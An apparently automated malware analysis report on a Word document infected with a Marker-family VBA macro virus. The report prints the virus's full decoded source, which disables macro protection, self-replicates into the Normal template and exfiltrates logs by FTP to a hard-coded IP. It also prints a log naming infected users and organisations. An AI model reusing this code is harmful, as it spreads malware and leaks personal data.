Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6f18cdbe1d4f1b25…

MALICIOUS

Office (OLE)

44.0 KB Created: 2008-11-07 05:44:00 Authoring application: Microsoft Office Word First seen: 2015-09-24
MD5: 63ca37f7c70e5fd0363f71cb225305dc SHA-1: 785eefc21f20baa4c53abf2a47149ff6e9bbcf88 SHA-256: 6f18cdbe1d4f1b25c537201e50a9dc0f853d884925d2f4cfac44c5149b615755
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Microsoft Word document containing VBA macros. The macros are designed to disable macro protection and replicate themselves to the Normal template, indicating self-protection and propagation behavior. The script also attempts to write to a file named 'c:\netldx.vxd' and includes connection details for an IP address, suggesting it may download and execute a second-stage payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8884 bytes
SHA-256: 5dbb9353a4a70a28c85717dc098de10b4272caaf379f1ea98669e014b4300258
Detection
ClamAV: Doc.Trojan.Marker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 03:07:26 PM - Tuesday, 22 Dec 1998
' BCBSA
'



' 03:28:02 PM - Wednesday, 6 Jan 1999
' BCBSA
'



' 02:59:47 PM - Monday, 11 Jan 1999
' Marsha Veach
'



' 01:54:54 PM - Wednesday, 20 Jan 1999
' Connie Sandifer, CMP
'



' 09:33:06 PM - Monday, 25 Jan 1999
' Doug Rowan
'



' 08:21:12 AM - Wednesday, 27 Jan 1999
' IMSI
'



' 10:59:58 AM - Friday, 29 Jan 1999
' Raj
'



' 03:37:57 PM - Saturday, 30 Jan 1999
' hornd
'



' 01:26:48 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 04:57:29 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 06:35:44 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 04:23:52 PM - Thursday, 4 Feb 1999
' Cooley Godward
'



' 04:27:39 PM - Saturday, 6 Feb 1999
' Cooley Godward
'



' 06:18:06 PM - Monday, 8 Feb 1999
' Cooley Godward
'



' 09:17:17 PM - Tuesday, 9 Feb 1999
' hclee
'



' 04:44:45 PM - Wednesday, 17 Feb 1999
' Dr. W. Hsiao
'                   Wendy Hsiao, Ph.D.



' 04:13:19 PM - Tuesday, 23 Feb 1999
' CCST
'



' 10:09:35 AM - Saturday, 20 Mar 1999
' cpwu
'



' 09:33:49 AM - Thursday, 6 May 1999
' 柳建华
'



' 12:39:25 PM - Tuesday, 20 May 1997
' ghc-bbc
'



' 01:21:36 PM - Friday, 7 May 1999
' 李晋闽
'



' 05:51:53  - Wednesday, 12 May 1999
' qdzhuang
'



' 03:23:04 PM - Saturday, 19 Jun 1999
' 李晋闽
'



' 02:53:46 下午 - Tuesday, 6 Sep 2011
' 李晋闽
'



' 09:37:47 上午 - Monday, 19 Sep 2011
' 张士力
'



' 01:41:54 下午 - Monday, 26 Sep 2011
' unknown
'



' 10:50:02 上午 - Wednesday, 19 Oct 2011
' 祝昊泉
'



' 08:27:05 上午 - Wednesday, 26 Oct 2011
' 迟文倩
'



' 10:37:36 上午 - Monday, 31 Oct 2011
' 蒋运枫
'



' 04:21:38 下午 - Monday, 31 Oct 2011
' 李彩梅
'



' 08:15:53 上午 - Wednesday, 2 Nov 2011
' 张会芳
'



' 03:51:55 下午 - Friday, 4 Nov 2011
' 刘冬红
'



' 11:58:54 上午 - Friday, 11 Nov 2011
' 陈平平
'



' 05:13:35 下午 - Friday, 11 Nov 2011
' 尚纳新
'



' 03:14:00 下午 - Monday, 14 Nov 2011
' 闵天龙
'



' 08:20:05 上午 - Tuesday, 15 Nov 2011
' 曾静
'



' 08:37:52 上午 - Friday, 2 Dec 2011
' unknown
'



' 02:40:12 下午 - Monday, 16 Jan 2012
' unknown
'



' 12:59:10 下午 - Thursday, 9 Feb 2012
' 微软用户
'



' 11:32:40 上午 - Friday, 17 Feb 2012
' 王福斌
'



' 10:27:15 上午 - Thursday, 23 Feb 2012
' 颜铭
'



' 03:03:24 下午 - Friday, 24 Feb 2012
' in9
'



' 02:51:37 下午 - Tuesday, 28 Feb 2012
' USER
'



' 06:46:30 下午 - Wednesday, 7 Mar 2012
' 微软用户
'



' 11:17:59 上午 - Wednesday, 28 Mar 2012
' txl
'



' 02:57:17 下午 - Wednesday, 28 Mar 2012
' 张宣
'



' 03:27:43 下午 - Thursday, 29 Mar 2012
' 郭峰
'



' 09:55:19 上午 - Thursday, 5 Apr 2012
' 郭阳
'



' 10:16:43 上午 - Monday, 9 Apr 2012
' 微软用户
'



' 09:48:20 上午 - Friday, 4 May 2012
' 郑赟
'



' 11:16:14 上午 - Monday, 21 May 2012
' User
'



' 11:35:05 上午 - Wednesday, 23 May 2012
' 欢迎购买本公司电脑
'



' 01:23:22 下午 - Saturday, 2 Jun 2012
' 王梦镝
'



' 11:56:13 上午 - Tuesday, 4 Sep 2012
' 测试
'



' 09:35:20 上午 - Friday, 3 May 2013
' 111
'



' 10:40:52 上午 - Friday, 10 May 2013
' 何登科
'



' 03:43:45 下午 - Tuesday, 4 Jun 2013
' 伍大伟
'



' 09:07:06 上午 - Monday, 14 Oct 2013
' 555
'



' 09:02:49 AM - Monday, 18 Nov 2013
' 李升华
'



' 05:52:20 下午 - Friday, 29 Nov 2013
' 李良才
'



' 03:03:10 PM - Tuesday, 3 Dec 2013
' 高维森
'



' 02:07:44 下午 - Thursday, 5 Dec 2013
' 微软用户
'



' 11:38:52 上午 - Friday, 13 Dec 2013
' 微软用户
'



' 11:37:50 上午 - Thursday, 2 Jan 2014
' 王梅
'



' 08:40:51 上午 - Thursday, 9 Jan 2014
' 王梅
'



' 02:28:34 下午 - Thursday, 16 Jan 2014
' 王梅
'



' 11:14:57 上午 - Monday, 20 Jan 2014
' 杨程
'



' 04:42:32 下午 - Monday, 27 Jan 2014
' 杨程
'



' 04:16:06 下午 - Friday, 14 Feb 2014
' 杨程
'



' 10:41:44 上午 - Wednesday, 5 Mar 2014
' 杨程
'



' 06:06:37 下午 - Monday, 14 Jul 2014
' 杨程
'



' 06:23:15 下午 - Wednesday, 10 Sep 2014
' 杨程
'



' 03:56:50 下午 - Sunday, 28 Sep 2014
' 杨程
'



' 05:27:59 下午 - Monday, 29 Sep 2014
' 杨程
'



' 02:24:31 下午 - Wednesday, 8 Oct 2014
' 李勇
'